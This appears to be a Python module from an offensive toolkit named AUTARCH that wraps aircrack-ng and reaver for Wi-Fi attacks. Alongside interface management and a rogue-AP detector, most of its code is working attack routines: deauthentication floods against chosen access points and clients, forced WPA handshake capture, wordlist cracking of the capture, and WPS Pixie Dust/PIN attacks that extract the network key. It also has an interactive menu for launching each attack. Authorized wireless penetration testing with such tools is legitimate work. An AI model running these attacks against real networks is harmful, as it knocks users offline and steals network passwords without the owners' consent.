"""AUTARCH WiFi Auditing Interface management, network discovery, handshake capture, deauth attack, rogue AP detection, WPS attack, and packet capture for wireless security auditing. """ DESCRIPTION = "WiFi network auditing & attack tools" AUTHOR = "darkHal" VERSION = "1.0" CATEGORY = "offense" import os import re import json import time import signal import shutil import threading import subprocess from pathlib import Path from dataclasses import dataclass, field from typing import Dict, List, Optional, Any, Tuple try: from core.paths import find_tool, get_data_dir except ImportError: def find_tool(name): return shutil.which(name) def get_data_dir(): return str(Path(__file__).parent.parent / 'data') # ── Data Structures ────────────────────────────────────────────────────────── @dataclass class AccessPoint: bssid: str ssid: str = "" channel: int = 0 encryption: str = "" cipher: str = "" auth: str = "" signal: int = 0 beacons: int = 0 data_frames: int = 0 clients: List[str] = field(default_factory=list) @dataclass class WifiClient: mac: str bssid: str = "" signal: int = 0 frames: int = 0 probe: str = "" # ── WiFi Auditor ───────────────────────────────────────────────────────────── class WiFiAuditor: """WiFi auditing toolkit using aircrack-ng suite.""" def __init__(self): self.data_dir = os.path.join(get_data_dir(), 'wifi') os.makedirs(self.data_dir, exist_ok=True) self.captures_dir = os.path.join(self.data_dir, 'captures') os.makedirs(self.captures_dir, exist_ok=True) # Tool paths self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng') self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng') self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng') self.aircrack = find_tool('aircrack-ng') or shutil.which('aircrack-ng') self.reaver = find_tool('reaver') or shutil.which('reaver') self.wash = find_tool('wash') or shutil.which('wash') self.iwconfig = shutil.which('iwconfig') self.iw = shutil.which('iw') self.ip_cmd = shutil.which('ip') # State self.monitor_interface: Optional[str] = None self.scan_results: Dict[str, AccessPoint] = {} self.clients: List[WifiClient] = [] self.known_aps: List[Dict] = [] self._scan_proc: Optional[subprocess.Popen] = None self._capture_proc: Optional[subprocess.Popen] = None self._jobs: Dict[str, Dict] = {} def get_tools_status(self) -> Dict[str, bool]: """Check availability of all required tools.""" return { 'airmon-ng': self.airmon is not None, 'airodump-ng': self.airodump is not None, 'aireplay-ng': self.aireplay is not None, 'aircrack-ng': self.aircrack is not None, 'reaver': self.reaver is not None, 'wash': self.wash is not None, 'iwconfig': self.iwconfig is not None, 'iw': self.iw is not None, 'ip': self.ip_cmd is not None, } # ── Interface Management ───────────────────────────────────────────── def get_interfaces(self) -> List[Dict]: """List wireless interfaces.""" interfaces = [] # Try iw first if self.iw: try: out = subprocess.check_output([self.iw, 'dev'], text=True, timeout=5) iface = None for line in out.splitlines(): line = line.strip() if line.startswith('Interface'): iface = {'name': line.split()[-1], 'mode': 'managed', 'channel': 0, 'mac': ''} elif iface: if line.startswith('type'): iface['mode'] = line.split()[-1] elif line.startswith('channel'): try: iface['channel'] = int(line.split()[1]) except (ValueError, IndexError): pass elif line.startswith('addr'): iface['mac'] = line.split()[-1] if iface: interfaces.append(iface) except Exception: pass # Fallback to iwconfig if not interfaces and self.iwconfig: try: out = subprocess.check_output([self.iwconfig], text=True, stderr=subprocess.DEVNULL, timeout=5) for block in out.split('\n\n'): if 'IEEE 802.11' in block or 'ESSID' in block: name = block.split()[0] mode = 'managed' if 'Mode:Monitor' in block: mode = 'monitor' elif 'Mode:Master' in block: mode = 'master' freq_m = re.search(r'Channel[:\s]*(\d+)', block) ch = int(freq_m.group(1)) if freq_m else 0 interfaces.append({'name': name, 'mode': mode, 'channel': ch, 'mac': ''}) except Exception: pass # Fallback: list from /sys if not interfaces: try: wireless_dir = Path('/sys/class/net') if wireless_dir.exists(): for d in wireless_dir.iterdir(): if (d / 'wireless').exists() or (d / 'phy80211').exists(): interfaces.append({ 'name': d.name, 'mode': 'unknown', 'channel': 0, 'mac': '' }) except Exception: pass return interfaces def enable_monitor(self, interface: str) -> Dict: """Put interface into monitor mode.""" if not self.airmon: return {'ok': False, 'error': 'airmon-ng not found'} try: # Kill interfering processes subprocess.run([self.airmon, 'check', 'kill'], capture_output=True, text=True, timeout=10) # Enable monitor mode result = subprocess.run([self.airmon, 'start', interface], capture_output=True, text=True, timeout=10) # Detect monitor interface name (usually wlan0mon or similar) mon_iface = interface + 'mon' for line in result.stdout.splitlines(): m = re.search(r'\(monitor mode.*enabled.*on\s+(\S+)\)', line, re.I) if m: mon_iface = m.group(1) break m = re.search(r'monitor mode.*vif.*enabled.*for.*\[(\S+)\]', line, re.I) if m: mon_iface = m.group(1) break self.monitor_interface = mon_iface return {'ok': True, 'interface': mon_iface, 'message': f'Monitor mode enabled on {mon_iface}'} except subprocess.TimeoutExpired: return {'ok': False, 'error': 'Timeout enabling monitor mode'} except Exception as e: return {'ok': False, 'error': str(e)} def disable_monitor(self, interface: str = None) -> Dict: """Disable monitor mode and restore managed mode.""" if not self.airmon: return {'ok': False, 'error': 'airmon-ng not found'} iface = interface or self.monitor_interface if not iface: return {'ok': False, 'error': 'No monitor interface specified'} try: result = subprocess.run([self.airmon, 'stop', iface], capture_output=True, text=True, timeout=10) self.monitor_interface = None # Restart network manager subprocess.run(['systemctl', 'start', 'NetworkManager'], capture_output=True, timeout=5) return {'ok': True, 'message': f'Monitor mode disabled on {iface}'} except Exception as e: return {'ok': False, 'error': str(e)} def set_channel(self, interface: str, channel: int) -> Dict: """Set wireless interface channel.""" if self.iw: try: subprocess.run([self.iw, 'dev', interface, 'set', 'channel', str(channel)], capture_output=True, text=True, timeout=5) return {'ok': True, 'channel': channel} except Exception as e: return {'ok': False, 'error': str(e)} return {'ok': False, 'error': 'iw not found'} # ── Network Scanning ───────────────────────────────────────────────── def scan_networks(self, interface: str = None, duration: int = 15) -> Dict: """Scan for nearby wireless networks using airodump-ng.""" iface = interface or self.monitor_interface if not iface: return {'ok': False, 'error': 'No monitor interface. Enable monitor mode first.'} if not self.airodump: return {'ok': False, 'error': 'airodump-ng not found'} prefix = os.path.join(self.captures_dir, f'scan_{int(time.time())}') try: proc = subprocess.Popen( [self.airodump, '--output-format', 'csv', '-w', prefix, iface], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) time.sleep(duration) proc.send_signal(signal.SIGINT) proc.wait(timeout=5) # Parse CSV output csv_file = prefix + '-01.csv' if os.path.exists(csv_file): self._parse_airodump_csv(csv_file) return { 'ok': True, 'access_points': [self._ap_to_dict(ap) for ap in self.scan_results.values()], 'clients': [self._client_to_dict(c) for c in self.clients], 'count': len(self.scan_results) } return {'ok': False, 'error': 'No scan output produced'} except Exception as e: return {'ok': False, 'error': str(e)} def _parse_airodump_csv(self, filepath: str): """Parse airodump-ng CSV output.""" self.scan_results.clear() self.clients.clear() try: with open(filepath, 'r', errors='ignore') as f: content = f.read() # Split into AP section and client section sections = content.split('Station MAC') ap_section = sections[0] if sections else '' client_section = sections[1] if len(sections) > 1 else '' # Parse APs for line in ap_section.splitlines(): parts = [p.strip() for p in line.split(',')] if len(parts) >= 14 and re.match(r'^[0-9A-Fa-f]{2}:', parts[0]): bssid = parts[0].upper() ap = AccessPoint( bssid=bssid, channel=int(parts[3]) if parts[3].strip().isdigit() else 0, signal=int(parts[8]) if parts[8].strip().lstrip('-').isdigit() else 0, encryption=parts[5].strip(), cipher=parts[6].strip(), auth=parts[7].strip(), beacons=int(parts[9]) if parts[9].strip().isdigit() else 0, data_frames=int(parts[10]) if parts[10].strip().isdigit() else 0, ssid=parts[13].strip() if len(parts) > 13 else '' ) self.scan_results[bssid] = ap # Parse clients for line in client_section.splitlines(): parts = [p.strip() for p in line.split(',')] if len(parts) >= 6 and re.match(r'^[0-9A-Fa-f]{2}:', parts[0]): client = WifiClient( mac=parts[0].upper(), signal=int(parts[3]) if parts[3].strip().lstrip('-').isdigit() else 0, frames=int(parts[4]) if parts[4].strip().isdigit() else 0, bssid=parts[5].strip().upper() if len(parts) > 5 else '', probe=parts[6].strip() if len(parts) > 6 else '' ) self.clients.append(client) # Associate with AP if client.bssid in self.scan_results: self.scan_results[client.bssid].clients.append(client.mac) except Exception: pass def get_scan_results(self) -> Dict: """Return current scan results.""" return { 'access_points': [self._ap_to_dict(ap) for ap in self.scan_results.values()], 'clients': [self._client_to_dict(c) for c in self.clients], 'count': len(self.scan_results) } # ── Handshake Capture ──────────────────────────────────────────────── def capture_handshake(self, interface: str, bssid: str, channel: int, deauth_count: int = 5, timeout: int = 60) -> str: """Capture WPA handshake. Returns job_id for async polling.""" job_id = f'handshake_{int(time.time())}' self._jobs[job_id] = { 'type': 'handshake', 'status': 'running', 'bssid': bssid, 'result': None, 'started': time.time() } def _capture(): try: # Set channel self.set_channel(interface, channel) prefix = os.path.join(self.captures_dir, f'hs_{bssid.replace(":", "")}_{int(time.time())}') # Start capture cap_proc = subprocess.Popen( [self.airodump, '-c', str(channel), '--bssid', bssid, '-w', prefix, interface], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) # Send deauths after short delay time.sleep(3) if self.aireplay: subprocess.run( [self.aireplay, '-0', str(deauth_count), '-a', bssid, interface], capture_output=True, timeout=15 ) # Wait for handshake cap_file = prefix + '-01.cap' start = time.time() captured = False while time.time() - start < timeout: if os.path.exists(cap_file) and self.aircrack: check = subprocess.run( [self.aircrack, '-a', '2', '-b', bssid, cap_file], capture_output=True, text=True, timeout=10 ) if '1 handshake' in check.stdout.lower() or 'valid handshake' in check.stdout.lower(): captured = True break time.sleep(2) cap_proc.send_signal(signal.SIGINT) cap_proc.wait(timeout=5) if captured: self._jobs[job_id]['status'] = 'complete' self._jobs[job_id]['result'] = { 'ok': True, 'capture_file': cap_file, 'bssid': bssid, 'message': f'Handshake captured for {bssid}' } else: self._jobs[job_id]['status'] = 'complete' self._jobs[job_id]['result'] = { 'ok': False, 'error': 'Handshake capture timed out', 'capture_file': cap_file if os.path.exists(cap_file) else None } except Exception as e: self._jobs[job_id]['status'] = 'error' self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)} threading.Thread(target=_capture, daemon=True).start() return job_id def crack_handshake(self, capture_file: str, wordlist: str, bssid: str = None) -> str: """Crack captured handshake with wordlist. Returns job_id.""" if not self.aircrack: return '' job_id = f'crack_{int(time.time())}' self._jobs[job_id] = { 'type': 'crack', 'status': 'running', 'result': None, 'started': time.time() } def _crack(): try: cmd = [self.aircrack, '-w', wordlist, '-b', bssid, capture_file] if bssid else \ [self.aircrack, '-w', wordlist, capture_file] result = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) # Parse result key_match = re.search(r'KEY FOUND!\s*\[\s*(.+?)\s*\]', result.stdout) if key_match: self._jobs[job_id]['status'] = 'complete' self._jobs[job_id]['result'] = { 'ok': True, 'key': key_match.group(1), 'message': 'Key found!' } else: self._jobs[job_id]['status'] = 'complete' self._jobs[job_id]['result'] = { 'ok': False, 'error': 'Key not found in wordlist' } except subprocess.TimeoutExpired: self._jobs[job_id]['status'] = 'error' self._jobs[job_id]['result'] = {'ok': False, 'error': 'Crack timeout (1hr)'} except Exception as e: self._jobs[job_id]['status'] = 'error' self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)} threading.Thread(target=_crack, daemon=True).start() return job_id # ── Deauth Attack ──────────────────────────────────────────────────── def deauth(self, interface: str, bssid: str, client: str = None, count: int = 10) -> Dict: """Send deauthentication frames.""" if not self.aireplay: return {'ok': False, 'error': 'aireplay-ng not found'} iface = interface or self.monitor_interface if not iface: return {'ok': False, 'error': 'No monitor interface'} try: cmd = [self.aireplay, '-0', str(count), '-a', bssid] if client: cmd += ['-c', client] cmd.append(iface) result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) return { 'ok': True, 'message': f'Sent {count} deauth frames to {bssid}' + (f' targeting {client}' if client else ' (broadcast)'), 'output': result.stdout } except subprocess.TimeoutExpired: return {'ok': False, 'error': 'Deauth timeout'} except Exception as e: return {'ok': False, 'error': str(e)} # ── Rogue AP Detection ─────────────────────────────────────────────── def save_known_aps(self): """Save current scan as known/baseline APs.""" self.known_aps = [self._ap_to_dict(ap) for ap in self.scan_results.values()] known_file = os.path.join(self.data_dir, 'known_aps.json') with open(known_file, 'w') as f: json.dump(self.known_aps, f, indent=2) return {'ok': True, 'count': len(self.known_aps)} def load_known_aps(self) -> List[Dict]: """Load previously saved known APs.""" known_file = os.path.join(self.data_dir, 'known_aps.json') if os.path.exists(known_file): with open(known_file) as f: self.known_aps = json.load(f) return self.known_aps def detect_rogue_aps(self) -> Dict: """Compare current scan against known APs to detect evil twins/rogues.""" if not self.known_aps: self.load_known_aps() if not self.known_aps: return {'ok': False, 'error': 'No baseline APs saved. Run save_known_aps first.'} known_bssids = {ap['bssid'] for ap in self.known_aps} known_ssids = {ap['ssid'] for ap in self.known_aps if ap['ssid']} known_pairs = {(ap['bssid'], ap['ssid']) for ap in self.known_aps} alerts = [] for bssid, ap in self.scan_results.items(): if bssid not in known_bssids: if ap.ssid in known_ssids: # Same SSID, different BSSID = possible evil twin alerts.append({ 'type': 'evil_twin', 'severity': 'high', 'bssid': bssid, 'ssid': ap.ssid, 'channel': ap.channel, 'signal': ap.signal, 'message': f'Possible evil twin: SSID "{ap.ssid}" from unknown BSSID {bssid}' }) else: # Completely new AP alerts.append({ 'type': 'new_ap', 'severity': 'low', 'bssid': bssid, 'ssid': ap.ssid, 'channel': ap.channel, 'signal': ap.signal, 'message': f'New AP detected: "{ap.ssid}" ({bssid})' }) else: # Known BSSID but check for SSID change if (bssid, ap.ssid) not in known_pairs and ap.ssid: alerts.append({ 'type': 'ssid_change', 'severity': 'medium', 'bssid': bssid, 'ssid': ap.ssid, 'message': f'Known AP {bssid} changed SSID to "{ap.ssid}"' }) return { 'ok': True, 'alerts': alerts, 'alert_count': len(alerts), 'scanned': len(self.scan_results), 'known': len(self.known_aps) } # ── WPS Attack ─────────────────────────────────────────────────────── def wps_scan(self, interface: str = None) -> Dict: """Scan for WPS-enabled networks using wash.""" iface = interface or self.monitor_interface if not self.wash: return {'ok': False, 'error': 'wash not found'} if not iface: return {'ok': False, 'error': 'No monitor interface'} try: result = subprocess.run( [self.wash, '-i', iface, '-s'], capture_output=True, text=True, timeout=15 ) networks = [] for line in result.stdout.splitlines(): parts = line.split() if len(parts) >= 6 and re.match(r'^[0-9A-Fa-f]{2}:', parts[0]): networks.append({ 'bssid': parts[0], 'channel': parts[1], 'rssi': parts[2], 'wps_version': parts[3], 'locked': parts[4].upper() == 'YES', 'ssid': ' '.join(parts[5:]) }) return {'ok': True, 'networks': networks, 'count': len(networks)} except Exception as e: return {'ok': False, 'error': str(e)} def wps_attack(self, interface: str, bssid: str, channel: int, pixie_dust: bool = True, timeout: int = 300) -> str: """Run WPS PIN attack (Pixie Dust or brute force). Returns job_id.""" if not self.reaver: return '' job_id = f'wps_{int(time.time())}' self._jobs[job_id] = { 'type': 'wps', 'status': 'running', 'bssid': bssid, 'result': None, 'started': time.time() } def _attack(): try: cmd = [self.reaver, '-i', interface, '-b', bssid, '-c', str(channel), '-vv'] if pixie_dust: cmd.extend(['-K', '1']) result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) pin_match = re.search(r'WPS PIN:\s*[\'"]?(\d+)', result.stdout) psk_match = re.search(r'WPA PSK:\s*[\'"]?(.+?)[\'"]?\s*$', result.stdout, re.M) if pin_match or psk_match: self._jobs[job_id]['status'] = 'complete' self._jobs[job_id]['result'] = { 'ok': True, 'pin': pin_match.group(1) if pin_match else None, 'psk': psk_match.group(1) if psk_match else None, 'message': 'WPS attack successful' } else: self._jobs[job_id]['status'] = 'complete' self._jobs[job_id]['result'] = { 'ok': False, 'error': 'WPS attack failed', 'output': result.stdout[-500:] if result.stdout else '' } except subprocess.TimeoutExpired: self._jobs[job_id]['status'] = 'error' self._jobs[job_id]['result'] = {'ok': False, 'error': 'WPS attack timed out'} except Exception as e: self._jobs[job_id]['status'] = 'error' self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)} threading.Thread(target=_attack, daemon=True).start() return job_id # ── Packet Capture ─────────────────────────────────────────────────── def start_capture(self, interface: str, channel: int = None, bssid: str = None, output_name: str = None) -> Dict: """Start raw packet capture on interface.""" if not self.airodump: return {'ok': False, 'error': 'airodump-ng not found'} iface = interface or self.monitor_interface if not iface: return {'ok': False, 'error': 'No monitor interface'} name = output_name or f'capture_{int(time.time())}' prefix = os.path.join(self.captures_dir, name) cmd = [self.airodump, '--output-format', 'pcap,csv', '-w', prefix] if channel: cmd += ['-c', str(channel)] if bssid: cmd += ['--bssid', bssid] cmd.append(iface) try: self._capture_proc = subprocess.Popen( cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) return { 'ok': True, 'message': f'Capture started on {iface}', 'prefix': prefix, 'pid': self._capture_proc.pid } except Exception as e: return {'ok': False, 'error': str(e)} def stop_capture(self) -> Dict: """Stop running packet capture.""" if self._capture_proc: try: self._capture_proc.send_signal(signal.SIGINT) self._capture_proc.wait(timeout=5) except Exception: self._capture_proc.kill() self._capture_proc = None return {'ok': True, 'message': 'Capture stopped'} return {'ok': False, 'error': 'No capture running'} def list_captures(self) -> List[Dict]: """List saved capture files.""" captures = [] cap_dir = Path(self.captures_dir) for f in sorted(cap_dir.glob('*.cap')) + sorted(cap_dir.glob('*.pcap')): captures.append({ 'name': f.name, 'path': str(f), 'size': f.stat().st_size, 'modified': f.stat().st_mtime }) return captures # ── Job Management ─────────────────────────────────────────────────── def get_job(self, job_id: str) -> Optional[Dict]: """Get job status.""" return self._jobs.get(job_id) def list_jobs(self) -> List[Dict]: """List all jobs.""" return [{'id': k, **v} for k, v in self._jobs.items()] # ── Helpers ────────────────────────────────────────────────────────── def _ap_to_dict(self, ap: AccessPoint) -> Dict: return { 'bssid': ap.bssid, 'ssid': ap.ssid, 'channel': ap.channel, 'encryption': ap.encryption, 'cipher': ap.cipher, 'auth': ap.auth, 'signal': ap.signal, 'beacons': ap.beacons, 'data_frames': ap.data_frames, 'clients': ap.clients } def _client_to_dict(self, c: WifiClient) -> Dict: return { 'mac': c.mac, 'bssid': c.bssid, 'signal': c.signal, 'frames': c.frames, 'probe': c.probe } # ── Singleton ──────────────────────────────────────────────────────────────── _instance = None def get_wifi_auditor() -> WiFiAuditor: global _instance if _instance is None: _instance = WiFiAuditor() return _instance # ── CLI Interface ──────────────────────────────────────────────────────────── def run(): """CLI entry point for WiFi Auditing module.""" auditor = get_wifi_auditor() while True: tools = auditor.get_tools_status() available = sum(1 for v in tools.values() if v) print(f"\n{'='*60}") print(f" WiFi Auditing ({available}/{len(tools)} tools available)") print(f"{'='*60}") print(f" Monitor Interface: {auditor.monitor_interface or 'None'}") print(f" APs Found: {len(auditor.scan_results)}") print(f" Clients Found: {len(auditor.clients)}") print() print(" 1 — List Wireless Interfaces") print(" 2 — Enable Monitor Mode") print(" 3 — Disable Monitor Mode") print(" 4 — Scan Networks") print(" 5 — Deauth Attack") print(" 6 — Capture Handshake") print(" 7 — Crack Handshake") print(" 8 — WPS Scan") print(" 9 — Rogue AP Detection") print(" 10 — Packet Capture") print(" 11 — Tool Status") print(" 0 — Back") print() choice = input(" > ").strip() if choice == '0': break elif choice == '1': ifaces = auditor.get_interfaces() if ifaces: for i in ifaces: print(f" {i['name']} mode={i['mode']} ch={i['channel']}") else: print(" No wireless interfaces found") elif choice == '2': iface = input(" Interface name: ").strip() result = auditor.enable_monitor(iface) print(f" {result.get('message', result.get('error', 'Unknown'))}") elif choice == '3': result = auditor.disable_monitor() print(f" {result.get('message', result.get('error', 'Unknown'))}") elif choice == '4': dur = input(" Scan duration (seconds, default 15): ").strip() result = auditor.scan_networks(duration=int(dur) if dur.isdigit() else 15) if result['ok']: print(f" Found {result['count']} access points:") for ap in result['access_points']: print(f" {ap['bssid']} {ap['ssid']:<24} ch={ap['channel']} " f"sig={ap['signal']}dBm {ap['encryption']}") else: print(f" Error: {result['error']}") elif choice == '5': bssid = input(" Target BSSID: ").strip() client = input(" Client MAC (blank=broadcast): ").strip() or None count = input(" Deauth count (default 10): ").strip() result = auditor.deauth(auditor.monitor_interface, bssid, client, int(count) if count.isdigit() else 10) print(f" {result.get('message', result.get('error'))}") elif choice == '6': bssid = input(" Target BSSID: ").strip() channel = input(" Channel: ").strip() if bssid and channel.isdigit(): job_id = auditor.capture_handshake(auditor.monitor_interface, bssid, int(channel)) print(f" Handshake capture started (job: {job_id})") print(" Polling for result...") while True: job = auditor.get_job(job_id) if job and job['status'] != 'running': print(f" Result: {job['result']}") break time.sleep(3) elif choice == '7': cap = input(" Capture file path: ").strip() wl = input(" Wordlist path: ").strip() bssid = input(" BSSID (optional): ").strip() or None if cap and wl: job_id = auditor.crack_handshake(cap, wl, bssid) if job_id: print(f" Cracking started (job: {job_id})") else: print(" aircrack-ng not found") elif choice == '8': result = auditor.wps_scan() if result['ok']: print(f" Found {result['count']} WPS networks:") for n in result['networks']: locked = 'LOCKED' if n['locked'] else 'open' print(f" {n['bssid']} {n['ssid']:<24} WPS {n['wps_version']} {locked}") else: print(f" Error: {result['error']}") elif choice == '9': if not auditor.known_aps: print(" No baseline saved. Save current scan as baseline? (y/n)") if input(" > ").strip().lower() == 'y': auditor.save_known_aps() print(f" Saved {len(auditor.known_aps)} APs as baseline") else: result = auditor.detect_rogue_aps() if result['ok']: print(f" Scanned: {result['scanned']} Known: {result['known']} Alerts: {result['alert_count']}") for a in result['alerts']: print(f" [{a['severity'].upper()}] {a['message']}") elif choice == '10': print(" 1 — Start Capture") print(" 2 — Stop Capture") print(" 3 — List Captures") sub = input(" > ").strip() if sub == '1': result = auditor.start_capture(auditor.monitor_interface) print(f" {result.get('message', result.get('error'))}") elif sub == '2': result = auditor.stop_capture() print(f" {result.get('message', result.get('error'))}") elif sub == '3': for c in auditor.list_captures(): print(f" {c['name']} ({c['size']} bytes)") elif choice == '11': for tool, avail in tools.items(): status = 'OK' if avail else 'MISSING' print(f" {tool:<15} {status}")